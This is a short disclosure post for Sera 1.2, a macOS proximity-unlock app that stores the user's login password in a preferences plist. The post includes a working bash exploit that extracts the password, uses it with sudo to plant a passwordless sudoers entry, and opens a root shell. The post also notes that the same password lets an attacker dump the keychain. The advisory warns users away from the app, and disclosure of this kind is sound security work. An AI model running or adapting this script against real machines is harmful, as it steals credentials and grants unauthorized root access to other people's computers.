Sera 1.2 Local Root / Password Disclosure

`Sera is a free app for mac and iOS that lets you unlock your mac automatically  
when your iphone is within a configured proximity.  
  
Unfortunately to facilitate this it stores the users login password in their  
home directory at:  
  
~/Library/Preferences/no.ignitum.SeraOSX.plist  
  
This makes root privilege escalation trivial and worse than that even  
facilitates dumping the keychain as we can easily obtain the user's login  
password. If they are an admin user we can even dump items from the system  
keychain.  
  
The author of Sera has said he will shut the project down and make the code  
publicly available so no fix is likely to be forthcoming anytime soon.  
  
It is strongly recommended not to use this app and if you have done so in the  
past make sure you remove this file that contains your login password.  
  
https://m4.rkw.io/sera_1.2.sh.txt  
dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf  
-------------------------------------------------------------------------  
#!/bin/bash  
  
##############################################################  
###### sera 1.2 local root privilege escalation exploit ######  
###### by m4rkw - https://m4.rkw.io/blog.html ######  
##############################################################  
  
sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`  
  
if [ "$sera_pass" == "" ] ; then  
echo "Password not found."  
exit 1  
fi  
  
echo "user's password is: $sera_pass"  
  
user="`whoami`"  
  
echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp  
  
echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null  
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null  
  
sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'  
  
`